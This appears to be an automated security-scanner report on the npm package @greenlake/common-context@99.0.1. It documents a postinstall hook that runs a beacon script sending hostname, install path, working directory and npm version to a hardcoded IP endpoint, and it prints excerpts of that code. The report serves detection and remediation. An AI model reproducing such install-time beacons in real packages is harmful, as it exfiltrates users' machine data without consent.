@greenlake/common-context@99.0.1
Compatibility shim.
AI Security Review
scanned 10d ago · by lpm-firewall-aiThe automatic install-time report sends identifying host and project-path metadata to a package-selected external endpoint without an observed consent guard. This supports blocking as an installation beacon; the inspected source does not show credential theft or remote code execution.
Static reason
One or more suspicious static signals were detected.; source fingerprint signature matched known malicious package; routed for review
Trigger
The npm postinstall hook runs, or an application imports index.js.
Impact
Installation and package use disclose identifying machine and project-path metadata to the endpoint.
Mechanism
The beacon constructs a payload with the hostname, install path, working directory, npm version, and package identity, then sends it by HTTP POST without an observed consent guard.
Attack narrative
The postinstall hook launches a beacon that reports machine and package metadata to a hardcoded external HTTP endpoint. The package also triggers this report when imported. The inspected code shows no consent guard for either trigger.
AI rationale
The automatic install-time report sends identifying host and project-path metadata to a package-selected external endpoint without an observed consent guard. This supports blocking as an installation beacon; the inspected source does not show credential theft or remote code execution.
Evidence
package.jsonbeacon.cjsindex.js
Network endpoints1
185.158.107.175:8787/_ah/dc
Decision evidence
public snapshotAI called this Malicious at 99.0% confidence as Malware with low false-positive risk.
Evidence for block
- The package runs beacon.cjs automatically through its postinstall script.
- beacon.cjs sends a POST request to a hardcoded external HTTP endpoint.
- The request includes the machine hostname, install path, working directory, and npm version.
- Importing index.js also calls the beacon.
Evidence against
- The inspected beacon collects machine and package metadata; no credential collection or remote code execution was observed.
Behavioral surface
Network
UrlStrings
Source & flagged code
9 flaggedpackage.jsonView file
•scripts.postinstall = node beacon.cjs
High
Install Time Lifecycle Scripts
Package defines install-time lifecycle scripts.
package.jsonView on unpkg7"postinstall": "node beacon.cjs"
},
"files": [
"index.js",
"beacon.cjs",
"README.md"
],
"license": "MIT"
}
High
Suspicious Lifecycle Evidence
The package runs beacon.cjs automatically through its postinstall script.
package.jsonView on unpkg · L7beacon.cjsView file
3// recipient can correlate an install. No data beyond that is collected or sent.
L4: var BEACON = "http://185.158.107.175:8787/_ah/dc";
L5: var PKG = "@greenlake/common-context";
...
L10: var lib = u.protocol === 'https:' ? require('https') : require('http');
L11: var data = Buffer.from(JSON.stringify(payload));
L12: var req = lib.request({
...
L20: req.setTimeout(5000, function () { try { req.destroy(); } catch (e) {} resolve(); });
L21: req.write(data); req.end();
L22: } catch (e) { resolve(); }
...
L27: package: PKG,
L28: hostname: (function () { try { return require('os').hostname(); } catch (e) { return ''; } })(),
L29: installPath: __dirname,
Findings
9 High1 Medium2 Low
HighInstall Time Lifecycle Scriptspackage.json
HighHost Fingerprint Exfiltrationbeacon.cjs
HighKnown Malware Source Fingerprint Signaturebeacon.cjs
HighSuspicious Lifecycle Evidencepackage.json
HighAi Review Evidencebeacon.cjs
HighAi Review Evidencebeacon.cjs
HighAi Review Evidencebeacon.cjs
HighAi Review Evidencebeacon.cjs
HighAi Review Evidenceindex.js
MediumNetwork
LowScripts Present
LowUrl Strings
Affected versions and remediation
This report applies to @greenlake/common-context@99.0.1.
See all versions of @greenlake/common-context for other recorded verdicts.
- Avoid installing @greenlake/common-context@99.0.1. Remove it from direct dependencies and check your lockfile for transitive copies.
- Choose an independently verified alternative or release. This report does not establish that other versions are safe.
- If this version ran, investigate the affected machine and build environment. Rotate credentials it could access and rebuild from a trusted environment.
Evidence last updated: .
Source advisory published: .
Think this verdict is wrong? Dispute it on GitHub or read how reports are produced.